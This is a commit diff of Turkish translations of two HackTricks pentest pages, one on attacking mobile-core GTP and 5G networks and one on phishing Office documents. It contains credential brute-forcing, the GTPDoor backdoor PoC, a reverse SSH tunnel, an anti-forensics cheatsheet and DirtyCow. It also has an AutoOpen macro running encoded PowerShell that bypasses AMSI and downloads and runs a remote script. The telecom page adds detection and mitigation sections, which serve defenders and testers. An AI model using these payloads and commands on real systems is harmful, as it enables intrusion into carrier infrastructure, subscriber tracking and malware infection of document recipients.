mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/windows-hardening/active-directory-methodology/ad-certi
This commit is contained in:
parent
5e283681c6
commit
6a9d79b0ce
@ -1,27 +1,27 @@
|
||||
# Telekom Ağ İstismarı (GTP / Roaming Environments)
|
||||
# Telekom Ağ İstismarı (GTP / Roaming Ortamları)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!NOTE]
|
||||
> Mobile-core protocols (GPRS Tunnelling Protocol – GTP) often traverse semi-trusted GRX/IPX roaming backbones. Because they ride on plain UDP with almost no authentication, **any foothold inside a telecom perimeter can usually reach core signalling planes directly**. The following notes collect offensive tricks observed in the wild against SGSN/GGSN, PGW/SGW and other EPC nodes.
|
||||
> Mobil çekirdek protokoller (GPRS Tunnelling Protocol – GTP) sıklıkla yarı-güvenilir GRX/IPX roaming omurgalarından geçer. Çünkü düzyazılı UDP üzerinde neredeyse hiç kimlik doğrulama olmadan çalışırlar, **telekom çevresi içinde elde edilen herhangi bir foothold genellikle doğrudan çekirdek sinyalleme katmanlarına ulaşabilir**. Aşağıdaki notlar sahada gözlemlenen SGSN/GGSN, PGW/SGW ve diğer EPC nodeslara yönelik offensive tricksleri toplar.
|
||||
|
||||
## 1. Recon & Initial Access
|
||||
## 1. Keşif & İlk Erişim
|
||||
|
||||
### 1.1 Varsayılan OSS / NE Hesapları
|
||||
Şaşırtıcı derecede çok sayıda vendor network elemanı `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … gibi hard-coded SSH/Telnet kullanıcılarıyla birlikte gelir. Özel bir wordlist brute-force başarısını dramatik şekilde artırır:
|
||||
Çok sayıda satıcıya ait ağ elemanı, `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … gibi sabit kodlanmış SSH/Telnet kullanıcılarıyla birlikte gelir. Özel bir wordlist brute-force başarısını dramatik şekilde artırır:
|
||||
```bash
|
||||
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
|
||||
```
|
||||
Cihaz yalnızca bir yönetim VRF sunuyorsa, önce bir jump host üzerinden pivot yapın (aşağıdaki «SGSN Emu Tunnel» bölümüne bakın).
|
||||
Cihaz yalnızca bir yönetim VRF'si sağlıyorsa, önce bir jump host üzerinden pivot yapın (aşağıdaki «SGSN Emu Tunnel» bölümüne bakın).
|
||||
|
||||
### 1.2 GRX/IPX içinde Host Keşfi
|
||||
Çoğu GRX operatörü hâlâ omurga boyunca **ICMP echo**'ya izin veriyor. GTP-C dinleyicilerini hızlıca haritalamak için `masscan`'ı dahili `gtpv1` UDP probes ile birleştirin:
|
||||
Çoğu GRX operatörü hâlâ omurga üzerinden **ICMP echo**'ya izin veriyor. `masscan`'ı dahili `gtpv1` UDP probes ile birleştirerek GTP-C listeners'ı hızlıca haritalayın:
|
||||
```bash
|
||||
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
|
||||
```
|
||||
## 2. Aboneleri Listeleme – `cordscan`
|
||||
## 2. Abonelerin Keşfi – `cordscan`
|
||||
|
||||
Aşağıdaki Go aracı **GTP-C Create PDP Context Request** paketleri oluşturur ve yanıtları kaydeder. Her yanıt, sorgulanan IMSI'ye hizmet eden mevcut **SGSN / MME**'yi ve bazen abonenin ziyaret ettiği PLMN'i ortaya çıkarır.
|
||||
Aşağıdaki Go aracı **GTP-C Create PDP Context Request** paketleri oluşturur ve yanıtları kaydeder. Her yanıt, sorgulanan IMSI'ye hizmet veren mevcut **SGSN / MME**'yi ve bazen abonenin ziyaret ettiği PLMN'i ortaya çıkarır.
|
||||
```bash
|
||||
# Build
|
||||
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
|
||||
@ -29,22 +29,22 @@ GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
|
||||
# Usage (typical):
|
||||
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
|
||||
```
|
||||
Anahtar bayraklar:
|
||||
Ana bayraklar:
|
||||
- `--imsi` Hedef abone IMSI
|
||||
- `--oper` Home / HNI (MCC+MNC)
|
||||
- `-w` Ham paketleri pcap'e yaz
|
||||
|
||||
İkili dosya içindeki önemli sabitler tarama kapsamını genişletmek için yamalanabilir:
|
||||
binary içindeki önemli sabitler taramaları genişletmek için yamalanabilir:
|
||||
```
|
||||
pingtimeout = 3 // seconds before giving up
|
||||
pco = 0x218080
|
||||
common_tcp_ports = "22,23,80,443,8080"
|
||||
```
|
||||
## 3. GTP Üzerinde Kod Çalıştırma – `GTPDoor`
|
||||
## 3. Code Execution over GTP – `GTPDoor`
|
||||
|
||||
`GTPDoor` küçük bir ELF servisidir; **UDP 2123'e bind olur ve gelen her GTP-C paketini ayrıştırır**. Payload bir pre-shared tag ile başlarsa, kalan kısım (AES-128-CBC) ile şifre çözülür ve `/bin/sh -c` ile çalıştırılır. stdout/stderr, **Echo Response** mesajları içinde exfiltrated edilir; böylece dışa dönük hiçbir oturum oluşturulmaz.
|
||||
`GTPDoor` küçük bir ELF servisidir; UDP 2123'e bind olur ve gelen her GTP-C paketini parse eder. Payload önceden paylaşılmış bir tag ile başlıyorsa, kalan kısım AES-128-CBC ile decrypt edilip `/bin/sh -c` ile çalıştırılır. stdout/stderr, **Echo Response** mesajları içinde exfiltrated edilir; böylece dışa doğru hiçbir session oluşturulmaz.
|
||||
|
||||
Minimal PoC paketi (Python):
|
||||
Minimal PoC paket (Python):
|
||||
```python
|
||||
import gtpc, Crypto.Cipher.AES as AES
|
||||
key = b"SixteenByteKey!"
|
||||
@ -52,38 +52,38 @@ cmd = b"id;uname -a"
|
||||
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
|
||||
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
|
||||
```
|
||||
Tespit:
|
||||
* SGSN IP'lerine **dengesiz Echo Requests** gönderen herhangi bir host
|
||||
* GTP sürüm bayrağı 1 olarak ayarlanmışken mesaj türü = 1 (Echo) – spesifikasyondan sapma
|
||||
Detection:
|
||||
* herhangi bir hostun SGSN IP'lerine **dengesiz Echo Requests** göndermesi
|
||||
* GTP version flag'ı 1 iken message type = 1 (Echo) – spesifikasyondan sapma
|
||||
|
||||
## 4. Çekirdek Üzerinden Pivot
|
||||
## 4. Çekirdek Üzerinden Pivoting
|
||||
|
||||
### 4.1 `sgsnemu` + SOCKS5
|
||||
`OsmoGGSN` gerçek bir GGSN/PGW'ye doğru **bir PDP context kurabilen** bir SGSN emülatörü ile gelir. Müzakere tamamlandığında, Linux roaming eş tarafından erişilebilen yeni bir `tun0` arayüzü alır.
|
||||
`OsmoGGSN` gerçek bir GGSN/PGW yönüne **establish a PDP context towards a real GGSN/PGW** kurabilen bir SGSN emülatörü ile birlikte gelir. Kurulduktan sonra, Linux roaming peer tarafından erişilebilen yeni bir `tun0` arayüzü alır.
|
||||
```bash
|
||||
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
|
||||
-APN internet -c 1 -d
|
||||
ip route add 172.16.0.0/12 dev tun0
|
||||
microsocks -p 1080 & # internal SOCKS proxy
|
||||
```
|
||||
Uygun firewall hair-pinning ile bu tünel sadece sinyalleme VLAN'larını atlar ve sizi doğrudan **veri düzlemine**.
|
||||
Uygun firewall hair-pinning ile bu tünel signalling-only VLANs'ı atlayarak doğrudan **data plane**'e ulaşır.
|
||||
|
||||
### 4.2 SSH Reverse Tunnel over Port 53
|
||||
DNS, roaming altyapılarında neredeyse her zaman açıktır. VPS'inizde :53 üzerinde dinleyen dahili bir SSH servisini açın ve daha sonra evden geri bağlanın:
|
||||
DNS roaming altyapılarında neredeyse her zaman açıktır. Dahili bir SSH servisini VPS'inizde :53 üzerinde dinleyecek şekilde açın ve daha sonra evden geri bağlanın:
|
||||
```bash
|
||||
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
|
||||
```
|
||||
VPS'de `GatewayPorts yes`'in etkinleştirildiğini kontrol edin.
|
||||
VPS'te `GatewayPorts yes`'in etkinleştirildiğini kontrol edin.
|
||||
|
||||
## 5. Gizli Kanallar
|
||||
|
||||
| Kanal | Taşıma | Çözümleme | Notlar |
|
||||
|---------|-----------|----------|-------|
|
||||
| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | tamamen pasif dinleyici, çıkış trafiği yok |
|
||||
| DNS – `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) A-kayıt oktetlerinde kodlanmış | `*.nodep` alt alan adını izler |
|
||||
| GTP – `GTPDoor` | UDP 2123 | AES-128-CBC blob özel IE içinde | meşru GTP-C trafiğiyle karışır |
|
||||
| Kanal | Taşıma | Dekodlama | Notlar |
|
||||
|-------|--------|----------|--------|
|
||||
| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | tamamen pasif dinleyici, giden trafik yok |
|
||||
| DNS – `NoDepDNS` | UDP 53 | XOR (anahtar = `funnyAndHappy`) A-record oktetlerine kodlanmış | `*.nodep` alt alan adını izler |
|
||||
| GTP – `GTPDoor` | UDP 2123 | private IE içindeki AES-128-CBC blob | meşru GTP-C trafiğiyle karışır |
|
||||
|
||||
Tüm implants, ikili dosyalarını **timestomp** eden ve çökerse re-spawn eden watchdog'lar içerir.
|
||||
Tüm implants, watchdogs uygular; bunlar ikili dosyalarını **timestomp** eder ve çökerlerse yeniden başlatılırlar.
|
||||
|
||||
## 6. Defense Evasion Cheatsheet
|
||||
```bash
|
||||
@ -100,7 +100,7 @@ printf '\0' > /proc/$$/comm # appears as [kworker/1]
|
||||
touch -r /usr/bin/time /usr/bin/chargen # timestomp
|
||||
setenforce 0 # disable SELinux
|
||||
```
|
||||
## 7. Eski NE'de Privilege Escalation
|
||||
## 7. Legacy NE Üzerinde Privilege Escalation
|
||||
```bash
|
||||
# DirtyCow – CVE-2016-5195
|
||||
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
|
||||
@ -116,76 +116,76 @@ Temizlik ipucu:
|
||||
userdel firefart 2>/dev/null
|
||||
rm -f /tmp/sh ; history -c
|
||||
```
|
||||
## 8. Araç Kutusu
|
||||
## 8. Tool Box
|
||||
|
||||
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – önceki bölümlerde anlatılan custom tooling.
|
||||
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – önceki bölümlerde tanımlanan custom tooling.
|
||||
* `FScan` : intranet TCP taramaları (`fscan -p 22,80,443 10.0.0.0/24`)
|
||||
* `Responder` : LLMNR/NBT-NS rogue WPAD
|
||||
* `Microsocks` + `ProxyChains` : lightweight SOCKS5 pivoting
|
||||
* `Microsocks` + `ProxyChains` : hafif SOCKS5 pivoting
|
||||
* `FRP` (≥0.37) : NAT traversal / asset bridging
|
||||
|
||||
## 9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
|
||||
|
||||
5G kayıt prosedürü, NGAP üstünde NAS (Non-Access Stratum) üzerinden çalışır. Security Mode Command/Complete ile NAS güvenliği etkinleştirilene kadar, ilk mesajlar authenticate edilmez ve şifrelenmez. Bu pre-security penceresi, N2 trafiğini gözlemleyebildiğiniz veya müdahale edebildiğiniz durumlarda (örn. core içinde on-path, rogue gNB veya testbed) birden fazla saldırı yolunu mümkün kılar.
|
||||
5G registration prosedürü NGAP üstünde NAS (Non-Access Stratum) üzerinden çalışır. Security Mode Command/Complete ile NAS güvenliği etkinleşene kadar ilk mesajlar kimlik doğrulamasız ve şifrelenmemiştir. Bu ön-güvenlik penceresi, N2 trafiğini gözlemleyebildiğiniz veya müdahale edebildiğiniz durumlarda (ör. core içinde on-path, rogue gNB veya testbed) birden fazla saldırı yolunu mümkün kılar.
|
||||
|
||||
Registration flow (basitleştirilmiş):
|
||||
- Registration Request: UE SUCI (şifrelenmiş SUPI) ve kabiliyetleri gönderir.
|
||||
- Authentication: AMF/AUSF RAND/AUTN gönderir; UE RES* ile cevap verir.
|
||||
- Security Mode Command/Complete: NAS integrity ve ciphering müzakere edilip etkinleştirilir.
|
||||
Registration flow (simplified):
|
||||
- Registration Request: UE SUCI (encrypted SUPI) ve yetenekleri gönderir.
|
||||
- Authentication: AMF/AUSF RAND/AUTN gönderir; UE RES* ile yanıt verir.
|
||||
- Security Mode Command/Complete: NAS bütünlüğü ve şifreleme müzakere edilip etkinleştirilir.
|
||||
- PDU Session Establishment: IP/QoS kurulumu.
|
||||
|
||||
Lab kurulum ipuçları (non-RF):
|
||||
- Core: Open5GS'in varsayılan deploy'u akışları reproduce etmek için yeterlidir.
|
||||
Lab setup tips (non-RF):
|
||||
- Core: Open5GS varsayılan dağıtımı akışları yeniden üretmek için yeterlidir.
|
||||
- UE: simulator veya test UE; decode için Wireshark kullanın.
|
||||
- Active tooling: 5GReplay (NGAP içinde NAS capture/modify/replay), Sni5Gect (tam bir rogue gNB açmadan NAS'ı anlık sniff/patch/inject).
|
||||
- Wireshark için faydalı display filter'ları:
|
||||
- Active tooling: 5GReplay (NAS'i NGAP içinde capture/modify/replay), Sni5Gect (tam bir rogue gNB açmadan NAS'i anlık sniff/patch/inject).
|
||||
- Useful display filters in Wireshark:
|
||||
- ngap.procedure_code == 15 (InitialUEMessage)
|
||||
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
|
||||
|
||||
### 9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI
|
||||
Beklenen: UE/USIM SUCI göndermelidir (SUPI, home-network public key ile şifrelenmiş). Registration Request içinde plaintext SUPI/IMSI bulunması, abonelerin kalıcı olarak takip edilmesine olanak veren bir privacy kusurunu işaret eder.
|
||||
Beklenen: UE/USIM SUCI göndermelidir (SUPI home-network public key ile şifrelenmiş). Registration Request içinde düz metin SUPI/IMSI bulunması, abone takibini kalıcı hale getiren bir gizlilik açığını işaret eder.
|
||||
|
||||
Nasıl test edilir:
|
||||
- InitialUEMessage içindeki ilk NAS mesajını capture edip Mobile Identity IE'yi inceleyin.
|
||||
- InitialUEMessage içindeki ilk NAS mesajını yakalayın ve Mobile Identity IE'yi inceleyin.
|
||||
- Wireshark hızlı kontroller:
|
||||
- Bunun SUCI olarak decode olması, IMSI olarak değil.
|
||||
- Filter örnekleri: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` olmalı; yokluğu ve `imsi` varlığı sızıntıyı gösterir.
|
||||
- SUCI olarak decode olmalı, IMSI olarak değil.
|
||||
- Filtre örnekleri: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` olmalı; yokluğu ve bunun yerine `imsi` varlığı sızıntı olduğunu gösterir.
|
||||
|
||||
Toplanması gerekenler:
|
||||
- Açığa çıktıysa MCC/MNC/MSIN; UE başına loglayın ve zaman/konum boyunca izleyin.
|
||||
Neler toplanmalı:
|
||||
- Eğer açığa çıktıysa MCC/MNC/MSIN; her UE için loglayın ve zaman/konum boyunca takip edin.
|
||||
|
||||
Önlem:
|
||||
- Sadece SUCI gönderen UE/USIM'leri zorlayın; initial NAS içinde herhangi bir IMSI/SUPI olursa alarm üretin.
|
||||
Mitigasyon:
|
||||
- Yalnızca SUCI kullanan UE/USIM'leri zorunlu kılın; initial NAS içinde görülen herhangi bir IMSI/SUPI için alarm oluşturun.
|
||||
|
||||
### 9.2 Capability bidding-down to null algorithms (EEA0/EIA0)
|
||||
Arka plan:
|
||||
- UE, Registration Request içindeki UE Security Capability IE'de desteklediği EEA (encryption) ve EIA (integrity) algoritmalarını bildirir.
|
||||
- UE, Registration Request içindeki UE Security Capability IE'de desteklediği EEA (şifreleme) ve EIA (bütünlük) algoritmalarını bildirir.
|
||||
- Yaygın eşlemeler: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 null algoritmalardır.
|
||||
|
||||
Problem:
|
||||
- Registration Request integrity ile korunmadığı için, on-path bir saldırgan capability bitlerini temizleyerek Security Mode Command sırasında daha sonra EEA0/EIA0 seçimini zorlayabilir. Bazı stack'ler acil servisler dışında da null algoritmaları yanlışlıkla kabul edebilir.
|
||||
Sorun:
|
||||
- Registration Request bütünlük koruması olmadığı için, on-path bir saldırgan capability bitlerini temizleyerek Security Mode Command sırasında EEA0/EIA0 seçimini zorlayabilir. Bazı stack'ler acil durum hizmetleri dışında da null algoritmaları yanlışlıkla kabul eder.
|
||||
|
||||
Saldırı adımları:
|
||||
- InitialUEMessage'i intercept edip NAS UE Security Capability'yi sadece EEA0/EIA0'ü reklam edecek şekilde değiştirin.
|
||||
- Sni5Gect ile NAS mesajını hooklayıp forwarding öncesi capability bitlerini patch'leyin.
|
||||
- AMF'in null cipher/integrity'yi kabul edip etmediğini ve Security Mode'un EEA0/EIA0 ile tamamlanıp tamamlanmadığını gözlemleyin.
|
||||
- InitialUEMessage'i yakalayın ve NAS UE Security Capability'yi yalnızca EEA0/EIA0 gösterecek şekilde değiştirin.
|
||||
- Sni5Gect ile NAS mesajına hook atıp iletmeden önce capability bitlerini patchleyin.
|
||||
- AMF'in null şifre/bütünlüğü kabul edip Security Mode'u EEA0/EIA0 ile tamamlayıp tamamlamadığını gözlemleyin.
|
||||
|
||||
Doğrulama/görünürlük:
|
||||
- Wireshark'ta Security Mode Command/Complete sonrası seçilen algoritmaları doğrulayın.
|
||||
- Örnek passive sniffer output:
|
||||
- Örnek pasif sniffer çıktısı:
|
||||
```
|
||||
Encyrption in use [EEA0]
|
||||
Integrity in use [EIA0, EIA1, EIA2]
|
||||
SUPI (MCC+MNC+MSIN) 9997000000001
|
||||
```
|
||||
Önlemler (zorunlu):
|
||||
- Configure AMF/policy to reject EEA0/EIA0 except where strictly mandated (e.g., emergency calls).
|
||||
- Prefer enforcing EEA2/EIA2 at minimum; log and alarm on any NAS security context that negotiates null algorithms.
|
||||
- AMF/policy'yi, yalnızca kesinlikle zorunlu olduğu durumlar dışında EEA0/EIA0'ı reddedecek şekilde yapılandırın (ör. acil çağrular).
|
||||
- En azından EEA2/EIA2 uygulanmasını tercih edin; null algoritmaları müzakere eden herhangi bir NAS güvenlik bağlamı için kayıt tutun ve alarm oluşturun.
|
||||
|
||||
### 9.3 initial Registration Request'in yeniden oynatılması (güvenlik öncesi NAS)
|
||||
Çünkü initial NAS bütünlük ve tazelikten yoksun olduğundan, yakalanmış InitialUEMessage+Registration Request AMF'ye yeniden oynatılabilir.
|
||||
### 9.3 İlk Registration Request Replay'i (pre-security NAS)
|
||||
İlk NAS bütünlük ve tazelikten yoksun olduğu için, yakalanan InitialUEMessage+Registration Request AMF'ye replay edilebilir.
|
||||
|
||||
Eşleşen replay'leri iletmek için 5GReplay PoC kuralı:
|
||||
PoC rule for 5GReplay to forward matching replays:
|
||||
```xml
|
||||
<beginning>
|
||||
<property value="THEN"
|
||||
@ -208,34 +208,34 @@ boolean_expression="nas_5g.message_type == 65"/>
|
||||
</property>
|
||||
</beginning>
|
||||
```
|
||||
What to observe:
|
||||
- Whether AMF accepts the replay and proceeds to Authentication; lack of freshness/context validation indicates exposure.
|
||||
Gözlemlenecekler:
|
||||
- AMF'in yeniden oynatmayı kabul edip Kimlik Doğrulamasına devam edip etmediği; tazelik/bağlam doğrulamasının olmaması açığa işaret eder.
|
||||
|
||||
Mitigations:
|
||||
- Enforce replay protection/context binding at AMF; rate-limit and correlate per-GNB/UE.
|
||||
Mitigasyonlar:
|
||||
- AMF'de yeniden oynatma koruması/bağlam bağlamasını zorunlu kılın; GNB/UE bazında oran sınırlaması ve korelasyon uygulayın.
|
||||
|
||||
### 9.4 Tooling pointers (reproducible)
|
||||
- Open5GS: spin up an AMF/SMF/UPF to emulate core; observe N2 (NGAP) and NAS.
|
||||
- Wireshark: verify decodes of NGAP/NAS; apply the filters above to isolate Registration.
|
||||
- 5GReplay: capture a registration, then replay specific NGAP + NAS messages as per the rule.
|
||||
- Sni5Gect: live sniff/modify/inject NAS control-plane to coerce null algorithms or perturb authentication sequences.
|
||||
- Open5GS: core'ı emüle etmek için bir AMF/SMF/UPF başlatın; N2 (NGAP) ve NAS'ı gözlemleyin.
|
||||
- Wireshark: NGAP/NAS çözümlemelerini doğrulayın; Kayıt işlemini izole etmek için yukarıdaki filtreleri uygulayın.
|
||||
- 5GReplay: bir kayıt yakalayın, ardından kural gereğince belirli NGAP + NAS mesajlarını yeniden oynatın.
|
||||
- Sni5Gect: NAS kontrol düzlemini canlı olarak sniff/modify/inject ederek null algorithms zorlaması yapın veya kimlik doğrulama dizilerini bozun.
|
||||
|
||||
### 9.5 Defensive checklist
|
||||
- Continuously inspect Registration Request for plaintext SUPI/IMSI; block offending devices/USIMs.
|
||||
- Reject EEA0/EIA0 except for narrowly defined emergency procedures; require at least EEA2/EIA2.
|
||||
- Detect rogue or misconfigured infrastructure: unauthorized gNB/AMF, unexpected N2 peers.
|
||||
- Alert on NAS security modes that result in null algorithms or frequent replays of InitialUEMessage.
|
||||
- Registration Request'i düz metin SUPI/IMSI açısından sürekli denetleyin; suçlu cihazları/USIM'leri engelleyin.
|
||||
- EEA0/EIA0'ı dar tanımlı acil durum prosedürleri dışında reddedin; en az EEA2/EIA2 gerektirin.
|
||||
- Yetkisiz veya yanlış yapılandırılmış altyapıyı tespit edin: yetkisiz gNB/AMF, beklenmeyen N2 eşleri.
|
||||
- null algorithms ile sonuçlanan veya InitialUEMessage'in sık yeniden oynatımlarına yol açan NAS güvenlik modlarında uyarı verin.
|
||||
|
||||
---
|
||||
## Detection Ideas
|
||||
1. **Any device other than an SGSN/GGSN establishing Create PDP Context Requests**.
|
||||
2. **Non-standard ports (53, 80, 443) receiving SSH handshakes** from internal IPs.
|
||||
3. **Frequent Echo Requests without corresponding Echo Responses** – might indicate GTPDoor beacons.
|
||||
4. **High rate of ICMP echo-reply traffic with large, non-zero identifier/sequence fields**.
|
||||
5. 5G: **InitialUEMessage carrying NAS Registration Requests repeated from identical endpoints** (replay signal).
|
||||
6. 5G: **NAS Security Mode negotiating EEA0/EIA0** outside emergency contexts.
|
||||
## Algılama Fikirleri
|
||||
1. **SGSN/GGSN dışındaki herhangi bir cihazın Create PDP Context Requests başlatması**.
|
||||
2. **Standart dışı portlar (53, 80, 443) SSH handshakes alıyor** iç IP'lerden.
|
||||
3. **Karşılık gelen Echo Responses olmadan sık Echo Requests** – GTPDoor beacon'larına işaret edebilir.
|
||||
4. **Büyük, sıfır olmayan identifier/sequence alanlarıyla yüksek oranlı ICMP echo-reply trafiği**.
|
||||
5. 5G: **InitialUEMessage üzerinde NAS Registration Requests taşıyan, aynı uç noktalardan tekrarlanan** (yeniden oynatma sinyali).
|
||||
6. 5G: **Acil durum bağlamı dışında EEA0/EIA0 müzakere eden NAS Security Mode**.
|
||||
|
||||
## References
|
||||
## Referanslar
|
||||
|
||||
- [Palo Alto Unit42 – Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
|
||||
- 3GPP TS 29.060 – GPRS Tunnelling Protocol (v16.4.0)
|
||||
|
@ -1,40 +1,40 @@
|
||||
# Phishing Files & Documents
|
||||
# Phishing Dosyaları ve Belgeler
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Office Documents
|
||||
## Office Belgeleri
|
||||
|
||||
Microsoft Word bir dosyayı açmadan önce dosya veri doğrulaması gerçekleştirir. Veri doğrulaması, OfficeOpenXML standardına karşı veri yapı tanımlaması şeklinde yapılır. Veri yapı tanımlaması sırasında herhangi bir hata oluşursa, analiz edilen dosya açılmayacaktır.
|
||||
Microsoft Word, bir dosyayı açmadan önce dosya verisi doğrulaması gerçekleştirir. Veri doğrulaması, OfficeOpenXML standardına göre veri yapısı tanımlaması şeklinde yapılır. Veri yapı tanımlaması sırasında herhangi bir hata oluşursa, analiz edilen dosya açılmayacaktır.
|
||||
|
||||
Genellikle, makro içeren Word dosyaları `.docm` uzantısını kullanır. Ancak, dosya uzantısını değiştirerek dosyanın adını değiştirmek ve yine de makro çalıştırma yeteneklerini korumak mümkündür.\
|
||||
Örneğin, bir RTF dosyası tasarım gereği makroları desteklemez, ancak DOCM olarak yeniden adlandırılan bir dosya RTF olarak Microsoft Word tarafından işlenir ve makro çalıştırma yeteneğine sahip olur.\
|
||||
Aynı içyapılar ve mekanizmalar Microsoft Office Suite (Excel, PowerPoint etc.) yazılımlarının tamamı için geçerlidir.
|
||||
Makro içeren Word dosyaları genellikle `.docm` uzantısını kullanır. Ancak, dosya uzantısını değiştirerek dosyayı yeniden adlandırmak ve makro çalıştırma yeteneğini korumak mümkündür.\
|
||||
Örneğin, bir RTF dosyası tasarım gereği makroları desteklemez, ancak DOCM uzantılı bir dosya RTF olarak yeniden adlandırılırsa Microsoft Word tarafından işlenir ve makro çalıştırabilir.\
|
||||
Aynı iç yapılar ve mekanizmalar Microsoft Office Suite'in tüm yazılımları için geçerlidir (Excel, PowerPoint vb.).
|
||||
|
||||
Bazı Office programları tarafından hangi uzantıların çalıştırılacağını kontrol etmek için aşağıdaki komutu kullanabilirsiniz:
|
||||
Aşağıdaki komutu, bazı Office programları tarafından hangi uzantıların çalıştırılacağını kontrol etmek için kullanabilirsiniz:
|
||||
```bash
|
||||
assoc | findstr /i "word excel powerp"
|
||||
```
|
||||
DOCX dosyaları makrolar içeren ve uzak bir template'e referans veren (File –Options –Add-ins –Manage: Templates –Go) makroları da “çalıştırabilir.”
|
||||
DOCX dosyaları makrolar içeren uzak bir şablona referans verdiğinde (File –Options –Add-ins –Manage: Templates –Go) makroları da “çalıştırabilir”.
|
||||
|
||||
### Harici Görsel Yükleme
|
||||
### Harici Resim Yükleme
|
||||
|
||||
Git: _Insert --> Quick Parts --> Field_\
|
||||
_**Kategoriler**: Links and References, **Filed names**: includePicture ve **Dosya adı veya URL**:_ http://<ip>/whatever
|
||||
_**Kategoriler**: Links and References, **Alan adları**: includePicture, ve **Dosya adı veya URL**:_ http://<ip>/whatever
|
||||
|
||||
.png>)
|
||||
|
||||
### Macros Backdoor
|
||||
|
||||
Belgeden makrolar kullanılarak rastgele kod çalıştırmak mümkündür.
|
||||
Belgeden rastgele kod çalıştırmak için macros kullanılabilir.
|
||||
|
||||
#### Otomatik yükleme fonksiyonları
|
||||
|
||||
Ne kadar yaygınlarsa, AV tarafından tespit edilme olasılığı o kadar artar.
|
||||
Ne kadar yaygınlarsa, AV tarafından tespit edilme olasılıkları o kadar artar.
|
||||
|
||||
- AutoOpen()
|
||||
- Document_Open()
|
||||
|
||||
#### Makrolar Kod Örnekleri
|
||||
#### Macros Kod Örnekleri
|
||||
```vba
|
||||
Sub AutoOpen()
|
||||
CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=")
|
||||
@ -64,26 +64,26 @@ Dim proc As Object
|
||||
Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
|
||||
proc.Create "powershell <beacon line generated>
|
||||
```
|
||||
#### Meta verileri elle kaldırma
|
||||
#### Metaverileri elle kaldır
|
||||
|
||||
Şuraya gidin: **File > Info > Inspect Document > Inspect Document**, bu Document Inspector'ı açacaktır. **Inspect**'e tıklayın ve sonra **Document Properties and Personal Information** yanında **Remove All**'a tıklayın.
|
||||
Git **File > Info > Inspect Document > Inspect Document**, bu Document Inspector'ı açacaktır. **Inspect**'e tıklayın ve ardından **Document Properties and Personal Information**'ın yanındaki **Remove All**'a tıklayın.
|
||||
|
||||
#### Belge Uzantısı
|
||||
#### Doc Extension
|
||||
|
||||
İşlem tamamlandığında, **Save as type** açılır menüsünden biçimi **`.docx`**'ten **Word 97-2003 `.doc`**'a değiştirin.\
|
||||
Bunu yapın çünkü **`.docx` içinde macro'ları kaydedemezsiniz** ve macro-enabled **`.docm`** uzantısı etrafında bir olumsuz algı vardır (ör. küçük resim simgesinde büyük bir `!` bulunur ve bazı web/e-posta gateway'leri bunları tamamen engeller). Bu nedenle, **eski `.doc` uzantısı en iyi uzlaşıdır**.
|
||||
